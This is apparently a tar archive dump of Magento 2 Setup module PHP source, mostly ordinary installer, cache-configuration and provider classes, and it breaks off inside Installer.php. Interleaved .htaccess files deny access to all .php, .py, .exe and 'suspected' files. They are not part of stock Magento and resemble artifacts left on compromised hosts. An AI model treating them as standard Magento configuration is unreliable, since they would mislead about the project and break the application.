Magento\Framework\Setup\Option\TextConfigOption; use Magento\Setup\Validator\RedisConnectionValidator; /** * Deployment configuration options for full page cache */ class PageCache implements ConfigOptionsListInterface { const INPUT_VALUE_PAGE_CACHE_REDIS = 'redis'; const CONFIG_VALUE_PAGE_CACHE_REDIS = \Magento\Framework\Cache\Backend\Redis::class; const INPUT_KEY_PAGE_CACHE_BACKEND = 'page-cache'; const INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_SERVER = 'page-cache-redis-server'; const INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_DATABASE = 'page-cache-redis-db'; const INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_PORT = 'page-cache-redis-port'; const INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_PASSWORD = 'page-cache-redis-password'; const INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_COMPRESS_DATA = 'page-cache-redis-compress-data'; const INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_COMPRESSION_LIB = 'page-cache-redis-compression-lib'; const INPUT_KEY_PAGE_CACHE_ID_PREFIX = 'page-cache-id-prefix'; const CONFIG_PATH_PAGE_CACHE_BACKEND = 'cache/frontend/page_cache/backend'; const CONFIG_PATH_PAGE_CACHE_BACKEND_SERVER = 'cache/frontend/page_cache/backend_options/server'; const CONFIG_PATH_PAGE_CACHE_BACKEND_DATABASE = 'cache/frontend/page_cache/backend_options/database'; const CONFIG_PATH_PAGE_CACHE_BACKEND_PORT = 'cache/frontend/page_cache/backend_options/port'; const CONFIG_PATH_PAGE_CACHE_BACKEND_PASSWORD = 'cache/frontend/page_cache/backend_options/password'; const CONFIG_PATH_PAGE_CACHE_BACKEND_COMPRESS_DATA = 'cache/frontend/page_cache/backend_options/compress_data'; const CONFIG_PATH_PAGE_CACHE_BACKEND_COMPRESSION_LIB = 'cache/frontend/page_cache/backend_options/compression_lib'; const CONFIG_PATH_PAGE_CACHE_ID_PREFIX = 'cache/frontend/page_cache/id_prefix'; /** * @var array */ private $defaultConfigValues = [ self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_SERVER => '127.0.0.1', self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_DATABASE => '1', self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_PORT => '6379', self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_PASSWORD => '', self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_COMPRESS_DATA => '0', self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_COMPRESSION_LIB => '', ]; /** * @var array */ private $validPageCacheOptions = [ self::INPUT_VALUE_PAGE_CACHE_REDIS ]; /** * @var array */ private $inputKeyToConfigPathMap = [ self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_SERVER => self::CONFIG_PATH_PAGE_CACHE_BACKEND_SERVER, self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_DATABASE => self::CONFIG_PATH_PAGE_CACHE_BACKEND_DATABASE, self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_PORT => self::CONFIG_PATH_PAGE_CACHE_BACKEND_PORT, self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_PASSWORD => self::CONFIG_PATH_PAGE_CACHE_BACKEND_PASSWORD, self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_COMPRESS_DATA => self::CONFIG_PATH_PAGE_CACHE_BACKEND_COMPRESS_DATA, self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_COMPRESSION_LIB => self::CONFIG_PATH_PAGE_CACHE_BACKEND_COMPRESSION_LIB, ]; /** * @var RedisConnectionValidator */ private $redisValidator; /** * Construct the PageCache ConfigOptionsList * * @param RedisConnectionValidator $redisValidator */ public function __construct(RedisConnectionValidator $redisValidator) { $this->redisValidator = $redisValidator; } /** * @inheritdoc */ public function getOptions() { return [ new SelectConfigOption( self::INPUT_KEY_PAGE_CACHE_BACKEND, SelectConfigOption::FRONTEND_WIZARD_SELECT, $this->validPageCacheOptions, self::CONFIG_PATH_PAGE_CACHE_BACKEND, 'Default cache handler' ), new TextConfigOption( self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_SERVER, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_PAGE_CACHE_BACKEND_SERVER, 'Redis server' ), new TextConfigOption( self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_DATABASE, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_PAGE_CACHE_BACKEND_DATABASE, 'Database number for the cache' ), new TextConfigOption( self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_PORT, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_PAGE_CACHE_BACKEND_PORT, 'Redis server listen port' ), new TextConfigOption( self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_PASSWORD, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_PAGE_CACHE_BACKEND_PASSWORD, 'Redis server password' ), new TextConfigOption( self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_COMPRESS_DATA, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_PAGE_CACHE_BACKEND_COMPRESS_DATA, 'Set to 1 to compress the full page cache (use 0 to disable)' ), new TextConfigOption( self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_COMPRESSION_LIB, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_PAGE_CACHE_BACKEND_COMPRESSION_LIB, 'Compression library to use [snappy,lzf,l4z,zstd,gzip] (leave blank to determine automatically)' ), new TextConfigOption( self::INPUT_KEY_PAGE_CACHE_ID_PREFIX, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_PAGE_CACHE_ID_PREFIX, 'ID prefix for cache keys' ), ]; } /** * @inheritdoc */ public function createConfig(array $options, DeploymentConfig $deploymentConfig) { $configData = new ConfigData(ConfigFilePool::APP_ENV); if (isset($options[self::INPUT_KEY_PAGE_CACHE_ID_PREFIX])) { $configData->set(self::CONFIG_PATH_PAGE_CACHE_ID_PREFIX, $options[self::INPUT_KEY_PAGE_CACHE_ID_PREFIX]); } else { $configData->set(self::CONFIG_PATH_PAGE_CACHE_ID_PREFIX, $this->generateCachePrefix()); } if (isset($options[self::INPUT_KEY_PAGE_CACHE_BACKEND])) { if ($options[self::INPUT_KEY_PAGE_CACHE_BACKEND] == self::INPUT_VALUE_PAGE_CACHE_REDIS) { $configData->set(self::CONFIG_PATH_PAGE_CACHE_BACKEND, self::CONFIG_VALUE_PAGE_CACHE_REDIS); $this->setDefaultRedisConfig($deploymentConfig, $configData); } else { $configData->set(self::CONFIG_PATH_PAGE_CACHE_BACKEND, $options[self::INPUT_KEY_PAGE_CACHE_BACKEND]); } } foreach ($this->inputKeyToConfigPathMap as $inputKey => $configPath) { if (isset($options[$inputKey])) { $configData->set($configPath, $options[$inputKey]); } } return $configData; } /** * @inheritdoc */ public function validate(array $options, DeploymentConfig $deploymentConfig) { $errors = []; $currentCacheBackend = $deploymentConfig->get(PageCache::CONFIG_PATH_PAGE_CACHE_BACKEND); if (isset($options[self::INPUT_KEY_PAGE_CACHE_BACKEND])) { if ($options[self::INPUT_KEY_PAGE_CACHE_BACKEND] == self::INPUT_VALUE_PAGE_CACHE_REDIS) { if (!$this->validateRedisConfig($options, $deploymentConfig)) { $errors[] = 'Invalid Redis configuration. Could not connect to Redis server.'; } } } elseif ($currentCacheBackend == self::CONFIG_VALUE_PAGE_CACHE_REDIS) { if (!$this->validateRedisConfig($options, $deploymentConfig)) { $errors[] = 'Invalid Redis configuration. Could not connect to Redis server.'; } } if (isset($options[self::INPUT_KEY_PAGE_CACHE_BACKEND]) && !in_array($options[self::INPUT_KEY_PAGE_CACHE_BACKEND], $this->validPageCacheOptions) ) { $errors[] = "Invalid cache handler '{$options[self::INPUT_KEY_PAGE_CACHE_BACKEND]}'"; } return $errors; } /** * Validate that Redis connection succeeds for given configuration * * @param array $options * @param DeploymentConfig $deploymentConfig * @return bool */ private function validateRedisConfig(array $options, DeploymentConfig $deploymentConfig) { $config = []; $config['host'] = isset($options[self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_SERVER]) ? $options[self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_SERVER] : $deploymentConfig->get( self::CONFIG_PATH_PAGE_CACHE_BACKEND_SERVER, $this->getDefaultConfigValue(self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_SERVER) ); $config['port'] = isset($options[self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_PORT]) ? $options[self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_PORT] : $deploymentConfig->get( self::CONFIG_PATH_PAGE_CACHE_BACKEND_PORT, $this->getDefaultConfigValue(self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_PORT) ); $config['db'] = isset($options[self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_DATABASE]) ? $options[self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_DATABASE] : $deploymentConfig->get( self::CONFIG_PATH_PAGE_CACHE_BACKEND_DATABASE, $this->getDefaultConfigValue(self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_DATABASE) ); $config['password'] = isset($options[self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_PASSWORD]) ? $options[self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_PASSWORD] : $deploymentConfig->get( self::CONFIG_PATH_PAGE_CACHE_BACKEND_PASSWORD, $this->getDefaultConfigValue(self::INPUT_KEY_PAGE_CACHE_BACKEND_REDIS_PASSWORD) ); return $this->redisValidator->isValidConnection($config); } /** * Set default values for Redis configuration * * @param DeploymentConfig $deploymentConfig * @param ConfigData $configData * @return ConfigData */ private function setDefaultRedisConfig(DeploymentConfig $deploymentConfig, ConfigData $configData) { foreach ($this->inputKeyToConfigPathMap as $inputKey => $configPath) { $configData->set($configPath, $deploymentConfig->get($configPath, $this->getDefaultConfigValue($inputKey))); } return $configData; } /** * Get the default value for input key * * @param string $inputKey * @return string */ private function getDefaultConfigValue($inputKey) { if (isset($this->defaultConfigValues[$inputKey])) { return $this->defaultConfigValues[$inputKey]; } else { return ''; } } /** * Generate default cache ID prefix based on installation dir * * @return string */ private function generateCachePrefix(): string { return substr(\hash('sha256', dirname(__DIR__, 6)), 0, 3) . '_'; } } Magento/Setup/Model/ConfigOptionsList/.htaccess000077700000000177151323623130015524 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Model/Dictionary.php000077700000003466151323623130013133 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; /** * Provide random word from dictionary */ class Dictionary { /** * @var string */ private $dictionaryFilePath; /** * @var \SplFixedArray */ private $dictionary; /** * @param string $dictionaryFilePath * @throws \Magento\Setup\Exception */ public function __construct($dictionaryFilePath) { $this->dictionaryFilePath = $dictionaryFilePath; } /** * Returns random word from dictionary * * @return string */ public function getRandWord() { if ($this->dictionary === null) { $this->readDictionary(); } $randIndex = mt_rand(0, count($this->dictionary) - 1); return trim($this->dictionary[$randIndex]); } /** * Read dictionary file * * @return void * @throws \Magento\Setup\Exception */ private function readDictionary() { if (!is_readable($this->dictionaryFilePath)) { throw new \Magento\Setup\Exception( sprintf('Description file %s not found or is not readable', $this->dictionaryFilePath) ); } $rows = file($this->dictionaryFilePath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if ($rows === false) { throw new \Magento\Setup\Exception( sprintf('Error occurred while reading dictionary file %s', $this->dictionaryFilePath) ); } if (empty($rows)) { throw new \Magento\Setup\Exception( sprintf('Dictionary file %s is empty', $this->dictionaryFilePath) ); } $this->dictionary = \SplFixedArray::fromArray($rows); } } Magento/Setup/Model/DateTime/DateTimeProvider.php000077700000002617151323623130015726 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\DateTime; use Magento\Setup\Model\ObjectManagerProvider; /** * Provider of DateTime instance */ class DateTimeProvider { /** * Timezone provider * * @var TimeZoneProvider */ private $tzProvider; /** * Object Manager provider * * @var ObjectManagerProvider */ private $objectManagerProvider; /** * DateTime instance * * @var \Magento\Framework\Stdlib\DateTime\DateTime */ private $dateTime; /** * Init * * @param TimeZoneProvider $tzProvider * @param ObjectManagerProvider $objectManagerProvider */ public function __construct(TimeZoneProvider $tzProvider, ObjectManagerProvider $objectManagerProvider) { $this->tzProvider = $tzProvider; $this->objectManagerProvider = $objectManagerProvider; } /** * Get instance of DateTime * * @return \Magento\Framework\Stdlib\DateTime\DateTime */ public function get() { if (!$this->dateTime) { $this->dateTime = $this->objectManagerProvider->get()->create( \Magento\Framework\Stdlib\DateTime\DateTime::class, ['localeDate' => $this->tzProvider->get()] ); } return $this->dateTime; } } Magento/Setup/Model/DateTime/TimeZoneProvider.php000077700000002377151323623130015767 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\DateTime; use Magento\Framework\App\Config\ScopeConfigInterface; use Magento\Setup\Model\ObjectManagerProvider; /** * Provider of Timezone instance */ class TimeZoneProvider { /** * Object Manager provider * * @var ObjectManagerProvider */ private $objectManagerProvider; /** * Instance of Timezone * * @var \Magento\Framework\Stdlib\DateTime\Timezone */ private $timezone; /** * Init * * @param ObjectManagerProvider $objectManagerProvider */ public function __construct(ObjectManagerProvider $objectManagerProvider) { $this->objectManagerProvider = $objectManagerProvider; } /** * Get instance of Timezone * * @return \Magento\Framework\Stdlib\DateTime\Timezone */ public function get() { if (!$this->timezone) { $this->timezone = $this->objectManagerProvider->get()->create( \Magento\Framework\Stdlib\DateTime\Timezone::class, ['scopeType' => ScopeConfigInterface::SCOPE_TYPE_DEFAULT] ); } return $this->timezone; } } Magento/Setup/Model/DateTime/.htaccess000077700000000177151323623130013603 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Model/Bootstrap.php000077700000001177151323623130013000 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Magento\Framework\App\ObjectManagerFactory; use Magento\Framework\App\Bootstrap as MagentoAppBootstrap; /** * Class Bootstrap */ class Bootstrap { /** * Creates instance of object manager factory * * @param string $rootDir * @param array $initParams * @return ObjectManagerFactory */ public function createObjectManagerFactory($rootDir, array $initParams) { return MagentoAppBootstrap::createObjectManagerFactory($rootDir, $initParams); } } Magento/Setup/Model/InstallerFactory.php000077700000007252151323623130014310 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Laminas\ServiceManager\ServiceLocatorInterface; use Magento\Framework\App\ErrorHandler; use Magento\Framework\Setup\LoggerInterface; use Magento\Setup\Module\ResourceFactory; /** * Factory for \Magento\Setup\Model\Installer * * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class InstallerFactory { /** * Laminas Framework's service locator * * @var ServiceLocatorInterface */ protected $serviceLocator; /** * @var ResourceFactory */ private $resourceFactory; /** * @param ServiceLocatorInterface $serviceLocator * @param ResourceFactory $resourceFactory */ public function __construct( ServiceLocatorInterface $serviceLocator, ResourceFactory $resourceFactory ) { $this->serviceLocator = $serviceLocator; $this->resourceFactory = $resourceFactory; // For Setup Wizard we are using our customized error handler $handler = new ErrorHandler(); set_error_handler([$handler, 'handler']); } /** * Factory method for installer object * * @param LoggerInterface $log * @return Installer * @throws \Magento\Setup\Exception */ public function create(LoggerInterface $log) { return new Installer( $this->serviceLocator->get(\Magento\Framework\Setup\FilePermissions::class), $this->serviceLocator->get(\Magento\Framework\App\DeploymentConfig\Writer::class), $this->serviceLocator->get(\Magento\Framework\App\DeploymentConfig\Reader::class), $this->serviceLocator->get(\Magento\Framework\App\DeploymentConfig::class), $this->serviceLocator->get(\Magento\Framework\Module\ModuleList::class), $this->serviceLocator->get(\Magento\Framework\Module\ModuleList\Loader::class), $this->serviceLocator->get(\Magento\Setup\Model\AdminAccountFactory::class), $log, $this->serviceLocator->get(\Magento\Setup\Module\ConnectionFactory::class), $this->serviceLocator->get(\Magento\Framework\App\MaintenanceMode::class), $this->serviceLocator->get(\Magento\Framework\Filesystem::class), $this->serviceLocator->get(\Magento\Setup\Model\ObjectManagerProvider::class), new \Magento\Framework\Model\ResourceModel\Db\Context( $this->getResource(), $this->serviceLocator->get(\Magento\Framework\Model\ResourceModel\Db\TransactionManager::class), $this->serviceLocator->get(\Magento\Framework\Model\ResourceModel\Db\ObjectRelationProcessor::class) ), $this->serviceLocator->get(\Magento\Setup\Model\ConfigModel::class), $this->serviceLocator->get(\Magento\Framework\App\State\CleanupFiles::class), $this->serviceLocator->get(\Magento\Setup\Validator\DbValidator::class), $this->serviceLocator->get(\Magento\Setup\Module\SetupFactory::class), $this->serviceLocator->get(\Magento\Setup\Module\DataSetupFactory::class), $this->serviceLocator->get(\Magento\Framework\Setup\SampleData\State::class), new \Magento\Framework\Component\ComponentRegistrar(), $this->serviceLocator->get(\Magento\Setup\Model\PhpReadinessCheck::class) ); } /** * Create Resource Factory * * @return Resource */ private function getResource() { $deploymentConfig = $this->serviceLocator->get(\Magento\Framework\App\DeploymentConfig::class); return $this->resourceFactory->create($deploymentConfig); } } Magento/Setup/Model/AdminAccountFactory.php000077700000001762151323623130014720 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Laminas\ServiceManager\ServiceLocatorInterface; use Magento\Framework\DB\Adapter\AdapterInterface; /** * Factory for \Magento\Setup\Model\AdminAccount */ class AdminAccountFactory { /** * @var ServiceLocatorInterface */ protected $serviceLocator; /** * @param ServiceLocatorInterface $serviceLocator */ public function __construct(ServiceLocatorInterface $serviceLocator) { $this->serviceLocator = $serviceLocator; } /** * Create object * * @param AdapterInterface $connection * @param array $data * @return AdminAccount */ public function create(AdapterInterface $connection, $data) { return new AdminAccount( $connection, $this->serviceLocator->get(\Magento\Framework\Encryption\Encryptor::class), $data ); } } Magento/Setup/Model/Address/AddressDataGenerator.php000077700000000645151323623130016435 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\Address; /** * Generate address data for customer */ class AddressDataGenerator { /** * Generate address data * * @return array */ public function generateAddress() { return [ 'postcode' => mt_rand(10000, 99999) ]; } } Magento/Setup/Model/Address/.htaccess000077700000000177151323623130013474 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Model/License.php000077700000002562151323623130012404 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Magento\Framework\App\Filesystem\DirectoryList; use Magento\Framework\Filesystem; /** * License file reader * * @package Magento\Setup\Model */ class License { /** * Default License File location * * @var string */ const DEFAULT_LICENSE_FILENAME = 'LICENSE.txt'; /** * License File location * * @var string */ const LICENSE_FILENAME = 'LICENSE_EE.txt'; /** * Directory that contains license file * * @var \Magento\Framework\Filesystem\Directory\ReadInterface */ private $dir; /** * Constructor * * @param Filesystem $filesystem */ public function __construct(Filesystem $filesystem) { $this->dir = $filesystem->getDirectoryRead(DirectoryList::ROOT); } /** * Returns contents of License file. * * @return string|boolean */ public function getContents() { if ($this->dir->isFile(self::LICENSE_FILENAME)) { return $this->dir->readFile(self::LICENSE_FILENAME); } elseif ($this->dir->isFile(self::DEFAULT_LICENSE_FILENAME)) { return $this->dir->readFile(self::DEFAULT_LICENSE_FILENAME); } else { return false; } } } Magento/Setup/Model/Installer.php000077700000165302151323623130012761 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model; use Magento\Backend\Setup\ConfigOptionsList as BackendConfigOptionsList; use Magento\Framework\App\Cache\Manager; use Magento\Framework\App\Cache\Manager as CacheManager; use Magento\Framework\App\Cache\Type\Block as BlockCache; use Magento\Framework\App\Cache\Type\Config as ConfigCache; use Magento\Framework\App\Cache\Type\Layout as LayoutCache; use Magento\Framework\App\DeploymentConfig\Reader; use Magento\Framework\App\DeploymentConfig\Writer; use Magento\Framework\App\Filesystem\DirectoryList; use Magento\Framework\App\MaintenanceMode; use Magento\Framework\App\State\CleanupFiles; use Magento\Framework\Component\ComponentRegistrar; use Magento\Framework\Config\ConfigOptionsListConstants; use Magento\Framework\Config\Data\ConfigData; use Magento\Framework\Config\File\ConfigFilePool; use Magento\Framework\DB\Adapter\AdapterInterface; use Magento\Framework\DB\Adapter\Pdo\Mysql; use Magento\Framework\Exception\FileSystemException; use Magento\Framework\Exception\LocalizedException; use Magento\Framework\Exception\RuntimeException; use Magento\Framework\Filesystem; use Magento\Framework\Model\ResourceModel\Db\Context; use Magento\Framework\Module\ModuleList\Loader as ModuleLoader; use Magento\Framework\Module\ModuleListInterface; use Magento\Framework\Mview\TriggerCleaner; use Magento\Framework\Setup\Declaration\Schema\DryRunLogger; use Magento\Framework\Setup\FilePermissions; use Magento\Framework\Setup\InstallDataInterface; use Magento\Framework\Setup\InstallSchemaInterface; use Magento\Framework\Setup\LoggerInterface; use Magento\Framework\Setup\ModuleDataSetupInterface; use Magento\Framework\Setup\Patch\PatchApplier; use Magento\Framework\Setup\Patch\PatchApplierFactory; use Magento\Framework\Setup\SampleData\State; use Magento\Framework\Setup\SchemaPersistor; use Magento\Framework\Setup\SchemaSetupInterface; use Magento\Framework\Setup\UpgradeDataInterface; use Magento\Framework\Setup\UpgradeSchemaInterface; use Magento\Framework\Validation\ValidationException; use Magento\PageCache\Model\Cache\Type as PageCache; use Magento\Setup\Console\Command\InstallCommand; use Magento\Setup\Controller\ResponseTypeInterface; use Magento\Setup\Exception; use Magento\Setup\Model\ConfigModel as SetupConfigModel; use Magento\Setup\Module\ConnectionFactory; use Magento\Setup\Module\DataSetupFactory; use Magento\Setup\Module\SetupFactory; use Magento\Setup\Validator\DbValidator; use Magento\Store\Model\Store; /** * Class Installer contains the logic to install Magento application. * * @SuppressWarnings(PHPMD.CouplingBetweenObjects) * @SuppressWarnings(PHPMD.TooManyFields) * @SuppressWarnings(PHPMD.ExcessiveClassComplexity) */ class Installer { /**#@+ * Parameters for enabling/disabling modules */ const ENABLE_MODULES = 'enable-modules'; const DISABLE_MODULES = 'disable-modules'; /**#@- */ /**#@+ * Formatting for progress log */ const PROGRESS_LOG_RENDER = '[Progress: %d / %d]'; const PROGRESS_LOG_REGEX = '/\[Progress: (\d+) \/ (\d+)\]/s'; /**#@- */ /**#@+ * Instance types for schema and data handler */ const SCHEMA_INSTALL = \Magento\Framework\Setup\InstallSchemaInterface::class; const SCHEMA_UPGRADE = \Magento\Framework\Setup\UpgradeSchemaInterface::class; const DATA_INSTALL = \Magento\Framework\Setup\InstallDataInterface::class; const DATA_UPGRADE = \Magento\Framework\Setup\UpgradeDataInterface::class; /**#@- */ const INFO_MESSAGE = 'message'; /** * The lowest supported MySQL verion */ const MYSQL_VERSION_REQUIRED = '5.6.0'; /** * File permissions checker * * @var FilePermissions */ private $filePermissions; /** * Deployment configuration repository * * @var Writer */ private $deploymentConfigWriter; /** * Deployment configuration reader * * @var Reader */ private $deploymentConfigReader; /** * Module list * * @var ModuleListInterface */ private $moduleList; /** * Module list loader * * @var ModuleLoader */ private $moduleLoader; /** * Admin account factory * * @var AdminAccountFactory */ private $adminAccountFactory; /** * Logger * * @var LoggerInterface */ private $log; /** * DB connection factory * * @var ConnectionFactory */ private $connectionFactory; /** * Progress indicator * * @var Installer\Progress */ private $progress; /** * Maintenance mode handler * * @var MaintenanceMode */ private $maintenanceMode; /** * Magento filesystem * * @var Filesystem */ private $filesystem; /** * Installation information * * @var array */ private $installInfo = []; /** * @var \Magento\Framework\App\DeploymentConfig */ private $deploymentConfig; /** * @var ObjectManagerProvider */ private $objectManagerProvider; /** * @var Context */ private $context; /** * @var SetupConfigModel */ private $setupConfigModel; /** * @var CleanupFiles */ private $cleanupFiles; /** * @var DbValidator */ private $dbValidator; /** * Factory to create \Magento\Setup\Module\Setup * * @var SetupFactory */ private $setupFactory; /** * Factory to create \Magento\Setup\Module\DataSetup * * @var DataSetupFactory */ private $dataSetupFactory; /** * @var State */ protected $sampleDataState; /** * Component Registrar * * @var ComponentRegistrar */ private $componentRegistrar; /** * @var PhpReadinessCheck */ private $phpReadinessCheck; /** * @var DeclarationInstaller */ private $declarationInstaller; /** * @var SchemaPersistor */ private $schemaPersistor; /** * @var PatchApplierFactory */ private $patchApplierFactory; /** * @var TriggerCleaner */ private $triggerCleaner; /** * Constructor * * @param FilePermissions $filePermissions * @param Writer $deploymentConfigWriter * @param Reader $deploymentConfigReader * @param \Magento\Framework\App\DeploymentConfig $deploymentConfig * @param ModuleListInterface $moduleList * @param ModuleLoader $moduleLoader * @param AdminAccountFactory $adminAccountFactory * @param LoggerInterface $log * @param ConnectionFactory $connectionFactory * @param MaintenanceMode $maintenanceMode * @param Filesystem $filesystem * @param ObjectManagerProvider $objectManagerProvider * @param Context $context * @param SetupConfigModel $setupConfigModel * @param CleanupFiles $cleanupFiles * @param DbValidator $dbValidator * @param SetupFactory $setupFactory * @param DataSetupFactory $dataSetupFactory * @param State $sampleDataState * @param ComponentRegistrar $componentRegistrar * @param PhpReadinessCheck $phpReadinessCheck * @throws Exception * @SuppressWarnings(PHPMD.ExcessiveParameterList) */ public function __construct( FilePermissions $filePermissions, Writer $deploymentConfigWriter, Reader $deploymentConfigReader, \Magento\Framework\App\DeploymentConfig $deploymentConfig, ModuleListInterface $moduleList, ModuleLoader $moduleLoader, AdminAccountFactory $adminAccountFactory, LoggerInterface $log, ConnectionFactory $connectionFactory, MaintenanceMode $maintenanceMode, Filesystem $filesystem, ObjectManagerProvider $objectManagerProvider, Context $context, SetupConfigModel $setupConfigModel, CleanupFiles $cleanupFiles, DbValidator $dbValidator, SetupFactory $setupFactory, DataSetupFactory $dataSetupFactory, State $sampleDataState, ComponentRegistrar $componentRegistrar, PhpReadinessCheck $phpReadinessCheck ) { $this->filePermissions = $filePermissions; $this->deploymentConfigWriter = $deploymentConfigWriter; $this->deploymentConfigReader = $deploymentConfigReader; $this->moduleList = $moduleList; $this->moduleLoader = $moduleLoader; $this->adminAccountFactory = $adminAccountFactory; $this->log = $log; $this->connectionFactory = $connectionFactory; $this->maintenanceMode = $maintenanceMode; $this->filesystem = $filesystem; $this->installInfo[self::INFO_MESSAGE] = []; $this->deploymentConfig = $deploymentConfig; $this->objectManagerProvider = $objectManagerProvider; $this->context = $context; $this->setupConfigModel = $setupConfigModel; $this->cleanupFiles = $cleanupFiles; $this->dbValidator = $dbValidator; $this->setupFactory = $setupFactory; $this->dataSetupFactory = $dataSetupFactory; $this->sampleDataState = $sampleDataState; $this->componentRegistrar = $componentRegistrar; $this->phpReadinessCheck = $phpReadinessCheck; $this->schemaPersistor = $this->objectManagerProvider->get()->get(SchemaPersistor::class); $this->triggerCleaner = $this->objectManagerProvider->get()->get(TriggerCleaner::class); } /** * Install Magento application * * @param \ArrayObject|array $request * @return void * @throws FileSystemException * @throws LocalizedException * @throws RuntimeException */ public function install($request) { $script[] = ['File permissions check...', 'checkInstallationFilePermissions', []]; $script[] = ['Required extensions check...', 'checkExtensions', []]; $script[] = ['Enabling Maintenance Mode...', 'setMaintenanceMode', [1]]; $script[] = ['Installing deployment configuration...', 'installDeploymentConfig', [$request]]; if (!empty($request[InstallCommand::INPUT_KEY_CLEANUP_DB])) { $script[] = ['Cleaning up database...', 'cleanupDb', []]; } $script[] = ['Installing database schema:', 'installSchema', [$request]]; $script[] = ['Installing search configuration...', 'installSearchConfiguration', [$request]]; $script[] = ['Installing user configuration...', 'installUserConfig', [$request]]; $script[] = ['Enabling caches:', 'updateCaches', [true]]; $script[] = ['Installing data...', 'installDataFixtures', [$request]]; if (!empty($request[InstallCommand::INPUT_KEY_SALES_ORDER_INCREMENT_PREFIX])) { $script[] = [ 'Creating sales order increment prefix...', 'installOrderIncrementPrefix', [$request[InstallCommand::INPUT_KEY_SALES_ORDER_INCREMENT_PREFIX]], ]; } if ($this->isAdminDataSet($request)) { $script[] = ['Installing admin user...', 'installAdminUser', [$request]]; } if (!$this->isDryRun($request)) { $script[] = ['Caches clearing:', 'cleanCaches', [$request]]; } $script[] = ['Disabling Maintenance Mode:', 'setMaintenanceMode', [0]]; $script[] = ['Post installation file permissions check...', 'checkApplicationFilePermissions', []]; $script[] = ['Write installation date...', 'writeInstallationDate', []]; $estimatedModules = $this->createModulesConfig($request, true); $total = count($script) + 4 * count(array_filter($estimatedModules)); $this->progress = new Installer\Progress($total, 0); $this->log->log('Starting Magento installation:'); foreach ($script as $item) { list($message, $method, $params) = $item; $this->log->log($message); // phpcs:ignore Magento2.Functions.DiscouragedFunction call_user_func_array([$this, $method], $params); $this->logProgress(); } $this->log->logSuccess('Magento installation complete.'); $this->log->logSuccess( 'Magento Admin URI: /' . $this->deploymentConfig->get(BackendConfigOptionsList::CONFIG_PATH_BACKEND_FRONTNAME) ); if ($this->progress->getCurrent() != $this->progress->getTotal()) { throw new \LogicException('Installation progress did not finish properly.'); } if ($this->sampleDataState->hasError()) { $this->log->log('Sample Data is installed with errors. See log file for details'); } } /** * Get declaration installer. For upgrade process it must be created after deployment config update. * * 